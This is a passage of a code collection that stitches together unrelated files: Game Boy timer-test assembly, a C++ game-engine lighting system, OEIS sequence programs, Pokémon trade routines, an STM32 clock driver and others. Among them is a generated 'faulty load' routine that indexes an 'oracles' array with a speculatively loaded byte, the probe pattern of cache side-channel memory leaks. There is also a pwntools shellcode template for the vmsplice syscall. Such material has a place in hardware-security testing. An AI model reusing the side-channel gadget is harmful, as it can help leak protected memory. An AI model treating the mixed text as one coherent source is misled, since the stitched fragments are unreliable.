if (nextModel && nextModel->maybeStartBlender()) {
_pendingBlenders++;
return;
}
}
}
}
|
INCLUDE "hardware.inc"
INCLUDE "header.inc"
SECTION "var",BSS
repeat_loop: DS 1
SECTION "Main",ROM0
;--------------------------------------------------------------------------
;- Main() -
;--------------------------------------------------------------------------
Main:
ld hl,$A000
ld a,[Init_Reg_A]
cp a,$11
jr nz,.skip1
ld a,0
ld [repeat_loop],a
call CPU_slow
.skip1:
repeat_all:
; -------------------------------------------------------
ld a,$0A
ld [$0000],a ; enable ram
; -------------------------------------------------------
; di
; ld a,IEF_TIMER
; ld [rIE],a
; ld [rIF],a
; xor a,a
; ei
; REPT 256
; inc a
; ENDR
; -------------------------------------------------------
REPETITIONS_1 SET 0
REPT 16
REPETITIONS_2 SET 0
REPT 16
ld a,(REPETITIONS_1<<4)|REPETITIONS_2
ld [hl+],a
xor a,a
ld [rTAC],a
ld [rDIV],a
ld [rTIMA],a
ld [rTMA],a
ld [rDIV],a
ld c,rDIV & $FF
ld de,rTIMA
ld a,TACF_STOP|TACF_65KHZ
ld [rTAC],a
ld a,TACF_START|TACF_65KHZ
ld [rTAC],a
xor a,a
ld [$FF00+c],a
ld [de],a
ld [$FF00+c],a
ld a,[de]
ld [hl+],a
REPT REPETITIONS_1
nop
ENDR
ld [$FF00+c],a
REPT REPETITIONS_2
nop
ENDR
ld a,[de]
ld [hl+],a
ld [$FF00+c],a
ld a,[de]
ld [hl+],a
REPETITIONS_2 SET REPETITIONS_2+1
ENDR
REPETITIONS_1 SET REPETITIONS_1+1
ENDR
jp Main2
; -------------------------------------------------------
SECTION "Main2",ROMX
Main2:
; -------------------------------------------------------
REPETITIONS_1 SET 0
REPT 16
REPETITIONS_2 SET 0
REPT 16
ld a,(REPETITIONS_1<<4)|REPETITIONS_2
ld [hl+],a
xor a,a
ld [rTAC],a
ld [rDIV],a
ld [rTIMA],a
ld [rTMA],a
ld [rDIV],a
ld c,rDIV & $FF
ld de,rTIMA
ld a,TACF_STOP|TACF_65KHZ
ld [rTAC],a
ld a,TACF_START|TACF_65KHZ
ld [rTAC],a
xor a,a
ld [$FF00+c],a
ld [de],a
ld [$FF00+c],a
REPT REPETITIONS_1
nop
ENDR
ld a,[de]
ld [hl+],a
ld [$FF00+c],a
REPT REPETITIONS_2
nop
ENDR
ld a,[de]
ld [hl+],a
ld [$FF00+c],a
ld a,[de]
ld [hl+],a
REPETITIONS_2 SET REPETITIONS_2+1
ENDR
REPETITIONS_1 SET REPETITIONS_1+1
ENDR
; -------------------------------------------------------
push hl ; magic number
ld [hl],$12
inc hl
ld [hl],$34
inc hl
ld [hl],$56
inc hl
ld [hl],$78
pop hl
ld a,$00
ld [$0000],a ; disable ram
; -------------------------------------------------------
ld a,[Init_Reg_A]
cp a,$11
jr nz,.dontchange
ld a,[repeat_loop]
and a,a
jr nz,.endloop
; -------------------------------------------------------
call CPU_fast
ld a,1
ld [repeat_loop],a
jp repeat_all
.dontchange:
.endloop:
halt
jr .endloop
|
#include "systems/EnvironmentSystem.hh"
void gamedev::EnvironmentSystem::Init(std::shared_ptr<EngineECS>& ecs)
{
mECS = ecs;
mSunLight.color = tg::vec3(0.985, 1.0, 0.876);
mSunTheta = 0.f; // 70.0f;
mSunPhi = 0.f; //-64.0f;
mSunRadius = 1.f;
mSunIntensity = 0.5;
mAmbientLight = tg::vec3(0.75, 1.0, 0.9) * 0.15f;
SetMinutesPerDay(0.2f);
SetSunriseHour(6.f);
SetSunsetHour(21.f);
mSunrise.position = {60, -90};
mMidday.position = {0, 0};
mSunset.position = {60, 90};
mSunrise.color = {1.f, 0.66f, 0.2f};
mMidday.color = {1.f, 1.f, 0.8f};
mSunset.color = {1.f, 0.3f, 0.2f};
mMidnight.color = {0.f, 0.2f, 1.f};
mDayCount = 1;
}
int gamedev::EnvironmentSystem::Update(float dt)
{
auto t0 = std::chrono::steady_clock::now();
mGameTime += dt * mSecondToGameSecond;
mNewDay = false;
if (mGameTime > secondsPerDay)
{
mGameTime = mGameTime - secondsPerDay;
mNewDay = true;
mDayCount += 1;
}
TimeOfDay oldTime;
TimeOfDay newTime;
if (mGameTime < mSunrise.time)
{
oldTime = mMidnight;
oldTime.time = 0.f;
oldTime.position = {90, -100};
newTime = mSunrise;
}
else if (mGameTime < mMidday.time)
{
oldTime = mSunrise;
newTime = mMidday;
}
else if (mGameTime < mSunset.time)
{
oldTime = mMidday;
newTime = mSunset;
}
else if (mGameTime > mSunset.time)
{
oldTime = mSunset;
newTime = mMidnight;
newTime.time = 86400.f;
newTime.position = {90, 100};
}
float currTime = (mGameTime - oldTime.time) / (newTime.time - oldTime.time);
mSunLight.color = tg::mix(oldTime.color, newTime.color, currTime);
mSunTheta = tg::mix(oldTime.position.x, newTime.position.x, currTime);
mSunPhi = tg::mix(oldTime.position.y, newTime.position.y, currTime);
if (!mLocked)
CalculateSun();
auto tn = std::chrono::steady_clock::now();
return std::chrono::duration_cast<std::chrono::microseconds>(tn - t0).count();
}
void gamedev::EnvironmentSystem::SetMinutesPerDay(float minutes)
{
mSecondToGameSecond = secondsPerDay / (minutes * 60.f);
}
float gamedev::EnvironmentSystem::getGameTime() { return mGameTime; }
int gamedev::EnvironmentSystem::getDayCount() { return mDayCount; }
void gamedev::EnvironmentSystem::SetSunriseHour(float realHour)
{
mSunrise.time = realHour * 3600.f;
mMidday.time = (mSunrise.time + mSunset.time) / 2.f;
}
void gamedev::EnvironmentSystem::SetSunsetHour(float realHour)
{
mSunset.time = realHour * 3600.f;
mMidday.time = (mSunrise.time + mSunset.time) / 2.f;
}
void gamedev::EnvironmentSystem::LockSun() { mLocked = true; }
void gamedev::EnvironmentSystem::UnlockSun() { mLocked = false; }
void gamedev::EnvironmentSystem::CalculateSun()
{
// Calculation in spherical coordinate system
const auto theta = tg::radians(mSunTheta * tg::pi_scalar<float> / 180.f); // forward
const auto phi = tg::radians(mSunPhi * tg::pi_scalar<float> / 180.f); // rotation
// const auto theta = mSunTheta * tg::pi_scalar<float> / 180.f;
// const auto phi = mSunPhi * tg::pi_scalar<float> / 180.f;
tg::pos3 sunPosition;
sunPosition.x = mSunRadius * tg::sin(theta) * tg::cos(phi)+0.01; // avoid crash
sunPosition.y = mSunRadius * tg::cos(theta);
sunPosition.z = mSunRadius * tg::sin(theta) * tg::sin(phi);
mSunPos = sunPosition;
mSunLight.direction = sunPosition - tg::pos3::zero;
}
gamedev::DirectionalLight gamedev::EnvironmentSystem::GenerateSunlight(float theta, float phi, tg::vec3 lightColor, float lightIntensity)
{
auto rad_theta = tg::radians(theta * tg::pi_scalar<float> / 180.f);
auto rad_phi = tg::radians(phi * tg::pi_scalar<float> / 180.f);
tg::pos3 sunPosition;
sunPosition.x = mSunRadius * tg::sin(rad_theta) * tg::cos(rad_phi);
sunPosition.y = mSunRadius * tg::cos(rad_theta);
sunPosition.z = mSunRadius * tg::sin(rad_theta) * tg::sin(rad_phi);
return {sunPosition - tg::pos3::zero, lightColor * lightIntensity};
}
gamedev::AmbientLight gamedev::EnvironmentSystem::GenerateAmbientlight(tg::vec3 lightColor, float lightIntensity)
{
return {lightColor * lightIntensity};
}
gamedev::PointLight gamedev::EnvironmentSystem::GeneratePointlight(tg::pos3 lightPosition, tg::vec3 lightColor, float lightIntensity, float lightRadius)
{
return {lightPosition, lightColor, lightIntensity, lightRadius};
} |
<%
from pwnlib.shellcraft.amd64.linux import syscall
%>
<%page args="fdout, iov, count, flags"/>
<%docstring>
Invokes the syscall vmsplice. See 'man 2 vmsplice' for more information.
Arguments:
fdout(int): fdout
iov(iovec): iov
count(size_t): count
flags(unsigned): flags
</%docstring>
${syscall('SYS_vmsplice', fdout, iov, count, flags)}
|
; A134401: Row sums of triangle A134400.
; 1,2,8,24,64,160,384,896,2048,4608,10240,22528,49152,106496,229376,491520,1048576,2228224,4718592,9961472,20971520,44040192,92274688,192937984,402653184,838860800,1744830464,3623878656,7516192768,15569256448,32212254720,66571993088,137438953472,283467841536,584115552256,1202590842880,2473901162496,5085241278464,10445360463872,21440476741632,43980465111040,90159953477632,184717953466368,378231999954944,774056185954304,1583296743997440,3236962232172544,6614661952700416,13510798882111488
mov $1,2
pow $1,$0
mul $1,$0
pow $2,$0
add $1,$2
mov $0,$1
|
org 100h
include "emu8086.inc"
.model small
.stack 100h
.data
n db ?
sum db 0
.code
main proc
mov ax,@data
mov ds,ax
print "Enter N: "
mov ah,1
int 21h
sub al,48
mov n,al
printn
mov bl,1 ;int i = 0
top:
cmp bl,n ;cmp
jg exit_loop ;bl <=n
add sum,bl ;sum = sum + bl
inc bl ;bl=bl+1
jmp top
exit_loop:
print "the sum is "
mov ah,2
mov dl,sum
int 21h
mov ah,4ch
int 21h
main endp
DEFINE_SCAN_NUM
DEFINE_PRINT_NUM
DEFINE_PRINT_NUM_UNS
DEFINE_PRINT_STRING
end main
ret
|
; A181534: Minimum number of rounds to be played to decide a two-player game of up to n rounds in which the winner of round j receives j points.
; 1,2,3,3,4,5,5,6,7,7,8,9,10,10,11,12,12,13,14,15,15,16,17,17,18,19,19,20,21,22,22,23,24,24,25,26,27,27,28,29,29,30,31,31,32,33,34,34,35,36,36,37,38,39,39,40,41,41,42,43,43,44,45,46,46,47,48,48,49,50,51,51,52,53,53,54,55,56,56,57,58,58,59,60,60,61,62,63,63,64,65,65,66,67,68,68,69,70,70,71,72,72,73,74,75,75,76,77,77,78,79,80,80,81,82,82,83,84,85,85,86,87,87,88,89,89,90,91,92,92,93,94,94,95,96,97,97,98,99,99,100,101,101,102,103,104,104,105,106,106,107,108,109,109,110,111,111,112,113,113,114,115,116,116,117,118,118,119,120,121,121,122,123,123,124,125,126,126,127,128,128,129,130,130,131,132,133,133,134,135,135,136,137,138,138,139,140,140,141,142,142,143,144,145,145,146,147,147,148,149,150,150,151,152,152,153,154,155,155,156,157,157,158,159,159,160,161,162,162,163,164,164,165,166,167,167,168,169,169,170,171,171,172,173,174,174,175,176,176,177
add $0,2
bin $0,2
lpb $0
sub $0,1
add $2,2
sub $0,$2
lpe
mul $2,2
add $1,$2
div $1,4
add $1,1
|
; A157732: a(n) = 388962*n^2 - 430416*n + 119071.
; 77617,814087,2328481,4620799,7691041,11539207,16165297,21569311,27751249,34711111,42448897,50964607,60258241,70329799,81179281,92806687,105212017,118395271,132356449,147095551,162612577,178907527,195980401,213831199,232459921,251866567,272051137,293013631,314754049,337272391,360568657,384642847,409494961,435124999,461532961,488718847,516682657,545424391,574944049,605241631,636317137,668170567,700801921,734211199,768398401,803363527,839106577,875627551,912926449,951003271,989858017,1029490687,1069901281,1111089799,1153056241,1195800607,1239322897,1283623111,1328701249,1374557311,1421191297,1468603207,1516793041,1565760799,1615506481,1666030087,1717331617,1769411071,1822268449,1875903751,1930316977,1985508127,2041477201,2098224199,2155749121,2214051967,2273132737,2332991431,2393628049,2455042591,2517235057,2580205447,2643953761,2708479999,2773784161,2839866247,2906726257,2974364191,3042780049,3111973831,3181945537,3252695167,3324222721,3396528199,3469611601,3543472927,3618112177,3693529351,3769724449,3846697471,3924448417,4002977287,4082284081,4162368799,4243231441,4324872007,4407290497,4490486911,4574461249,4659213511,4744743697,4831051807,4918137841,5006001799,5094643681,5184063487,5274261217,5365236871,5456990449,5549521951,5642831377,5736918727,5831784001,5927427199,6023848321,6121047367,6219024337,6317779231,6417312049,6517622791,6618711457,6720578047,6823222561,6926644999,7030845361,7135823647,7241579857,7348113991,7455426049,7563516031,7672383937,7782029767,7892453521,8003655199,8115634801,8228392327,8341927777,8456241151,8571332449,8687201671,8803848817,8921273887,9039476881,9158457799,9278216641,9398753407,9520068097,9642160711,9765031249,9888679711,10013106097,10138310407,10264292641,10391052799,10518590881,10646906887,10776000817,10905872671,11036522449,11167950151,11300155777,11433139327,11566900801,11701440199,11836757521,11972852767,12109725937,12247377031,12385806049,12525012991,12664997857,12805760647,12947301361,13089619999,13232716561,13376591047,13521243457,13666673791,13812882049,13959868231,14107632337,14256174367,14405494321,14555592199,14706468001,14858121727,15010553377,15163762951,15317750449,15472515871,15628059217,15784380487,15941479681,16099356799,16258011841,16417444807,16577655697,16738644511,16900411249,17062955911,17226278497,17390379007,17555257441,17720913799,17887348081,18054560287,18222550417,18391318471,18560864449,18731188351,18902290177,19074169927,19246827601,19420263199,19594476721,19769468167,19945237537,20121784831,20299110049,20477213191,20656094257,20835753247,21016190161,21197404999,21379397761,21562168447,21745717057,21930043591,22115148049,22301030431,22487690737,22675128967,22863345121,23052339199,23242111201,23432661127,23623988977,23816094751,24008978449,24202640071
mul $0,9
mov $4,-4
sub $4,$0
mov $0,1
mov $1,1
mov $2,1
mov $3,5
mov $5,49
mul $5,$4
sub $1,$5
pow $1,2
add $1,3
mov $6,1
lpb $0
sub $0,1
mul $2,2
mul $3,$2
add $6,5
mul $1,$6
add $1,$3
lpe
sub $1,232882
div $1,2646
mul $1,882
add $1,77617
|
; A082047: Diagonal sums of number array A082046.
; 1,2,7,24,69,170,371,736,1353,2338,3839,6040,9165,13482,19307,27008,37009,49794,65911,85976,110677,140778,177123,220640,272345,333346,404847,488152,584669,695914,823515,969216,1134881,1322498,1534183
mov $1,$0
pow $0,2
add $0,1
mul $1,2
mul $1,$0
add $0,13
mul $1,$0
mov $0,$1
div $0,60
add $0,1
|
/* Copyright 2015-2019 Egor Yusov
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF ANY PROPRIETARY RIGHTS.
*
* In no event and under no legal theory, whether in tort (including negligence),
* contract, or otherwise, unless required by applicable law (such as deliberate
* and grossly negligent acts) or agreed to in writing, shall any Contributor be
* liable for any damages, including any direct, indirect, special, incidental,
* or consequential damages of any character arising as a result of this License or
* out of the use or inability to use the software (including but not limited to damages
* for loss of goodwill, work stoppage, computer failure or malfunction, or any and
* all other commercial damages or losses), even if such Contributor has been advised
* of the possibility of such damages.
*/
#include "DiligentCore/External/vulkan/vulkan.h"
#include "DiligentCore/Graphics/GraphicsEngineVulkan/interface/SamplerVk.h"
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r15
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x1ade7, %r9
nop
nop
and $5679, %r10
mov (%r9), %rax
nop
nop
cmp $17797, %rcx
lea addresses_UC_ht+0x13bc7, %rsi
lea addresses_UC_ht+0x7247, %rdi
nop
nop
nop
nop
sub %r15, %r15
mov $40, %rcx
rep movsb
nop
nop
nop
nop
dec %rcx
lea addresses_UC_ht+0x5b47, %rsi
lea addresses_WT_ht+0x5b47, %rdi
nop
nop
cmp $20547, %rbp
mov $16, %rcx
rep movsb
nop
nop
nop
and $57667, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r15
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r8
push %rax
push %rbp
push %rbx
push %rsi
// Faulty Load
lea addresses_RW+0x1cb47, %rbp
xor %rsi, %rsi
movups (%rbp), %xmm7
vpextrq $1, %xmm7, %rax
lea oracles, %rbx
and $0xff, %rax
shlq $12, %rax
mov (%rbx,%rax,1), %rax
pop %rsi
pop %rbx
pop %rbp
pop %rax
pop %r8
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 4}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_UC_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_WT_ht'}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
DoInGameTradeDialogue:
; trigger the trade offer/action specified by wWhichTrade
call SaveScreenTilesToBuffer2
ld hl, TradeMons
ld a, [wWhichTrade]
ld b, a
swap a
sub b
sub b
ld c, a
ld b, 0
add hl, bc
ld a, [hli]
ld [wInGameTradeGiveMonSpecies], a
ld a, [hli]
ld [wInGameTradeReceiveMonSpecies], a
ld a, [hli]
push af
ld de, wInGameTradeMonNick
ld bc, NAME_LENGTH
call CopyData
pop af
ld l, a
ld h, 0
ld de, InGameTradeTextPointers
add hl, hl
add hl, de
ld a, [hli]
ld [wInGameTradeTextPointerTablePointer], a
ld a, [hl]
ld [wInGameTradeTextPointerTablePointer + 1], a
ld a, [wInGameTradeGiveMonSpecies]
ld de, wInGameTradeGiveMonName
call InGameTrade_GetMonName
ld a, [wInGameTradeReceiveMonSpecies]
ld de, wInGameTradeReceiveMonName
call InGameTrade_GetMonName
ld hl, wCompletedInGameTradeFlags
ld a, [wWhichTrade]
ld c, a
ld b, FLAG_TEST
predef FlagActionPredef
ld a, c
and a
ld a, $4
ld [wInGameTradeTextPointerTableIndex], a
jr nz, .printText
; if the trade hasn't been done yet
xor a
ld [wInGameTradeTextPointerTableIndex], a
call .printText
ld a, $1
ld [wInGameTradeTextPointerTableIndex], a
call YesNoChoice
ld a, [wCurrentMenuItem]
and a
jr nz, .printText
call InGameTrade_DoTrade
jr c, .printText
ld hl, TradedForText
call PrintText
.printText
ld hl, wInGameTradeTextPointerTableIndex
ld a, [hld] ; wInGameTradeTextPointerTableIndex
ld e, a
ld d, 0
ld a, [hld] ; wInGameTradeTextPointerTablePointer + 1
ld l, [hl] ; wInGameTradeTextPointerTablePointer
ld h, a
add hl, de
add hl, de
ld a, [hli]
ld h, [hl]
ld l, a
jp PrintText
; copies name of species a to hl
InGameTrade_GetMonName:
push de
ld [wd11e], a
call GetMonName
ld hl, wcd6d
pop de
ld bc, NAME_LENGTH
jp CopyData
INCLUDE "data/trades.asm"
InGameTrade_DoTrade:
xor a ; NORMAL_PARTY_MENU
ld [wPartyMenuTypeOrMessageID], a
dec a
ld [wUpdateSpritesEnabled], a
call DisplayPartyMenu
push af
call InGameTrade_RestoreScreen
pop af
ld a, $1
jp c, .tradeFailed ; jump if the player didn't select a pokemon
ld a, [wInGameTradeGiveMonSpecies]
ld b, a
ld a, [wcf91]
cp b
ld a, $2
jr nz, .tradeFailed ; jump if the selected mon's species is not the required one
ld a, [wWhichPokemon]
ld hl, wPartyMon1Level
ld bc, wPartyMon2 - wPartyMon1
call AddNTimes
ld a, [hl]
ld [wCurEnemyLVL], a
ld hl, wCompletedInGameTradeFlags
ld a, [wWhichTrade]
ld c, a
ld b, FLAG_SET
predef FlagActionPredef
ld hl, ConnectCableText
call PrintText
ld a, [wWhichPokemon]
push af
ld a, [wCurEnemyLVL]
push af
call LoadHpBarAndStatusTilePatterns
call InGameTrade_PrepareTradeData
predef InternalClockTradeAnim
pop af
ld [wCurEnemyLVL], a
pop af
ld [wWhichPokemon], a
ld a, [wInGameTradeReceiveMonSpecies]
ld [wcf91], a
xor a
ld [wMonDataLocation], a ; not used
ld [wRemoveMonFromBox], a
call RemovePokemon
ld a, $80 ; prevent the player from naming the mon
ld [wMonDataLocation], a
call AddPartyMon
call InGameTrade_CopyDataToReceivedMon
callab EvolveTradeMon
call ClearScreen
call InGameTrade_RestoreScreen
callba RedrawMapView
and a
ld a, $3
jr .tradeSucceeded
.tradeFailed
scf
.tradeSucceeded
ld [wInGameTradeTextPointerTableIndex], a
ret
InGameTrade_RestoreScreen:
call GBPalWhiteOutWithDelay3
call RestoreScreenTilesAndReloadTilePatterns
call ReloadTilesetTilePatterns
call LoadScreenTilesFromBuffer2
call Delay3
call LoadGBPal
ld c, 10
call DelayFrames
jpba LoadWildData
InGameTrade_PrepareTradeData:
ld hl, wTradedPlayerMonSpecies
ld a, [wInGameTradeGiveMonSpecies]
ld [hli], a ; wTradedPlayerMonSpecies
ld a, [wInGameTradeReceiveMonSpecies]
ld [hl], a ; wTradedEnemyMonSpecies
ld hl, wPartyMonOT
ld bc, NAME_LENGTH
ld a, [wWhichPokemon]
call AddNTimes
ld de, wTradedPlayerMonOT
ld bc, NAME_LENGTH
call InGameTrade_CopyData
ld hl, InGameTrade_TrainerString
ld de, wTradedEnemyMonOT
call InGameTrade_CopyData
ld de, wLinkEnemyTrainerName
call InGameTrade_CopyData
ld hl, wPartyMon1OTID
ld bc, wPartyMon2 - wPartyMon1
ld a, [wWhichPokemon]
call AddNTimes
ld de, wTradedPlayerMonOTID
ld bc, $2
call InGameTrade_CopyData
call Random
ld hl, hRandomAdd
ld de, wTradedEnemyMonOTID
jp CopyData
InGameTrade_CopyData:
push hl
push bc
call CopyData
pop bc
pop hl
ret
InGameTrade_CopyDataToReceivedMon:
ld hl, wPartyMonNicks
ld bc, NAME_LENGTH
call InGameTrade_GetReceivedMonPointer
ld hl, wInGameTradeMonNick
ld bc, NAME_LENGTH
call CopyData
ld hl, wPartyMonOT
ld bc, NAME_LENGTH
call InGameTrade_GetReceivedMonPointer
ld hl, InGameTrade_TrainerString
ld bc, NAME_LENGTH
call CopyData
ld hl, wPartyMon1OTID
ld bc, wPartyMon2 - wPartyMon1
call InGameTrade_GetReceivedMonPointer
ld hl, wTradedEnemyMonOTID
ld bc, $2
jp CopyData
; the received mon's index is (partyCount - 1),
; so this adds bc to hl (partyCount - 1) times and moves the result to de
InGameTrade_GetReceivedMonPointer:
ld a, [wPartyCount]
dec a
call AddNTimes
ld e, l
ld d, h
ret
InGameTrade_TrainerString:
; "TRAINER@@@@@@@@@@"
db $5d, "@@@@@@@@@@"
InGameTradeTextPointers:
dw TradeTextPointers1
dw TradeTextPointers2
dw TradeTextPointers3
TradeTextPointers1:
dw WannaTrade1Text
dw NoTrade1Text
dw WrongMon1Text
dw Thanks1Text
dw AfterTrade1Text
TradeTextPointers2:
dw WannaTrade2Text
dw NoTrade2Text
dw WrongMon2Text
dw Thanks2Text
dw AfterTrade2Text
TradeTextPointers3:
dw WannaTrade3Text
dw NoTrade3Text
dw WrongMon3Text
dw Thanks3Text
dw AfterTrade3Text
ConnectCableText:
TX_FAR _ConnectCableText
db "@"
TradedForText:
TX_FAR _TradedForText
TX_SFX_KEY_ITEM
TX_DELAY
db "@"
WannaTrade1Text:
TX_FAR _WannaTrade1Text
db "@"
NoTrade1Text:
TX_FAR _NoTrade1Text
db "@"
WrongMon1Text:
TX_FAR _WrongMon1Text
db "@"
Thanks1Text:
TX_FAR _Thanks1Text
db "@"
AfterTrade1Text:
TX_FAR _AfterTrade1Text
db "@"
WannaTrade2Text:
TX_FAR _WannaTrade2Text
db "@"
NoTrade2Text:
TX_FAR _NoTrade2Text
db "@"
WrongMon2Text:
TX_FAR _WrongMon2Text
db "@"
Thanks2Text:
TX_FAR _Thanks2Text
db "@"
AfterTrade2Text:
TX_FAR _AfterTrade2Text
db "@"
WannaTrade3Text:
TX_FAR _WannaTrade3Text
db "@"
NoTrade3Text:
TX_FAR _NoTrade3Text
db "@"
WrongMon3Text:
TX_FAR _WrongMon3Text
db "@"
Thanks3Text:
TX_FAR _Thanks3Text
db "@"
AfterTrade3Text:
TX_FAR _AfterTrade3Text
db "@"
|
; A043669: Numbers whose base-15 representation has exactly 2 runs.
; 15,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,65,66,67,68,69,70,71,72,73,74,75,76,77,78
add $0,14
mov $1,32
mul $1,$0
div $1,30
add $1,1
mov $0,$1
|
/********************************************************************************
* File Name:
* hw_rcc_driver.cpp
*
* Description:
* Implements the low level driver for the Reset and Clock Control peripheral
*
* 2019-2021 | Brandon Braun | brandonbraun653@gmail.com
********************************************************************************/
/* C++ Includes */
#include <array>
#include <cstring>
#include <cstdlib>
#include <cstddef>
/* Chimera Includes */
#include <Chimera/assert>
#include <Chimera/common>
#include <Chimera/clock>
#include <Chimera/utility>
/* Driver Includes */
#include <Thor/cfg>
#include <Thor/lld/common/cortex-m4/system_time.hpp>
#include <Thor/lld/interface/inc/rcc>
#include <Thor/lld/interface/inc/power>
#include <Thor/lld/stm32f4x/rcc/hw_rcc_prv.hpp>
namespace Thor::LLD::RCC
{
/*-------------------------------------------------------------------------------
Public Functions
-------------------------------------------------------------------------------*/
void initialize()
{
using namespace Chimera::Peripheral;
using namespace Thor::LLD::RCC;
static bool initialized = false;
if ( !initialized )
{
initializeRegistry();
initialized = true;
}
}
void clearResetReason()
{
RMVFRSTF::set( RCC1_PERIPH, CSR_RMVF );
}
Chimera::System::ResetEvent getResetReason()
{
/*------------------------------------------------
Read out the flag bits and then clear them to ensure we
get an accurate read the next time this function is called.
------------------------------------------------*/
Reg32_t flags = RCC1_PERIPH->CSR & CSR_ResetFlags_Msk;
clearResetReason();
/*------------------------------------------------
When debugging and powering on the board for the first time, usually there
are two reset flags set. One is the brown out, the other is the pin reset.
If more than just the brown out flag has been set, it's safe to mask it away
as a false positive. This is known to happen on the STM32 development boards.
------------------------------------------------*/
if ( ( flags & ResetFlags::BROWN_OUT ) && ( flags != ResetFlags::BROWN_OUT ) )
{
flags &= ~ResetFlags::BROWN_OUT;
}
switch ( flags )
{
case ResetFlags::CLEARED:
